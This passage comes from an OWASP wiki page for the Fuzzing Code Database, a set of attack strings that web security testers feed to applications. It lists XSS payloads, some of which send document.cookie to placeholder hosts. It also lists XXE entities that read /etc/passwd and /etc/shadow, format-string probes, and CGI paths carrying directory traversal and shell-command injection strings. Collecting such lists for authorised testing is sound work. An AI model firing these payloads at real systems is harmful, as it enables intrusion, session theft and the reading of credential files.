&amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt;<br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: 30 July 2007 - Total Statements: 28) ===<br /> &lt;pre&gt;<br /> # Full List<br /> # Format String tests to determine errors in variable handling<br /> # Foobar@email.de<br /> <br /> %s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=81226 2010-04-12T16:32:52Z

<p>Adam.muntner: /* Microsoft URLs (8 April 2010) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''17 March 2010'''<br /> <br /> *Created new Category: Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563)<br /> *Created new Category: Windows Directory Traversal (Update: 17 March 2010 - Total Statements: 16)<br /> *Created new Category: Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879)<br /> *Created new Category: Common Windows CGI (Update: 17 March 2010 - Total Statements: 76)<br /> *Created new Category: File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7)<br /> *Created new Category: Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14)<br /> *Created new Category: Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)<br /> <br /> '''16 March 2010'''<br /> <br /> *Created new Category: Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863)<br /> *Created new Category: Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) <br /> *Created new Category: Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> *Created new Category: All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2010 - Total Statements: 31)<br /> <br /> <br /> '''02 February 2010'''<br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Microsoft URLs (8 April 2010) ===<br /> &lt;pre&gt;# Interesting IIS Files &amp; Directories (8 April 2010)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> # Look at the result codes in the headers - 403 likely mean the dir exists, 404 means not. It takes an ISAPI filter for IIS to return 404's for 403s. <br /> # Altetrnatively, slight differences in the number of bytes returned will help differentiate.<br /> <br /> /.printer<br /> /%NETHOOD%/<br /> /&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> /AccessPlatform/<br /> /AccessPlatform/auth/<br /> /AccessPlatform/auth/clientscripts/cookies.js <br /> /AccessPlatform/auth/clientscripts/login.js <br /> /Exadmin/<br /> /ExchWeb/<br /> /Exchange/<br /> /Microsoft-Server-ActiveSync/<br /> /OMA/<br /> /OWA/<br /> /Public/<br /> /_layouts/alllibs.htm<br /> /_layouts/settings.htm<br /> /_layouts/userinfo.htm<br /> /_vti_bin/<br /> /_vti_bin/_vti_aut/fp30reg.dll<br /> /_vti_pvt/<br /> /_WEB_INF/<br /> /a%5c.aspx<br /> /adovbs.inc<br /> /aspnet_files/<br /> /certcontrol/<br /> /certenroll/<br /> /certsrv/<br /> /citrix/<br /> /citrix/AccessPlatform/auth/<br /> /citrix/AccessPlatform/auth/clientscripts/<br /> /AccessPlatform/auth/clientscripts/<br /> /Citrix//AccessPlatform/auth/clientscripts/cookies.js <br /> /Citrix/AccessPlatform/auth/clientscripts/login.js <br /> /Citrix/PNAgent/config.xml<br /> /exchange/root.asp<br /> /forum.asp<br /> /forum_arc.asp<br /> /forum_professionnel.asp<br /> /iisadmin/<br /> /iisadmpwd/achg.htr<br /> /iisadmpwd/aexp.htr<br /> /iisadmpwd/aexp2.htr<br /> /iisadmpwd/aexp2b.htr<br /> /iisadmpwd/aexp3.htr<br /> /iisadmpwd/aexp4.htr<br /> /iisadmpwd/aexp4b.htr<br /> /iisadmpwd/anot.htr<br /> /iisadmpwd/anot3.htr<br /> /iiasdmpwd/<br /> /iishelp/<br /> /iishelp/iis/misc/default.asp<br /> /iissamples/<br /> /imprimer.asp<br /> /includes/adovbs.inc<br /> /msadc/<br /> /null.htw<br /> /pbserver/pbserver.dll<br /> /postinfo.html<br /> /rubrique.asp<br /> /scripts/<br /> /scripts/fpcount.exe<br /> /scripts/cgimail.exe<br /> /scripts/tools/newdsn.exe<br /> /scripts/tools/getdrvs.exe<br /> /scripts/convert.bas<br /> /cgi-bin/htmlscript<br /> /scripts/counter.exe<br /> /scripts/no-such-file.pl<br /> /share/<br /> /tsweb/<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.asp<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> index.shtml<br /> x.htw<br /> x.ida<br /> x.idq<br /> /cgi<br /> /scripts/iisadmin/ism.dll?http/dir<br /> /scripts/samples/search/webhits.exe<br /> &lt;/pre&gt;<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> 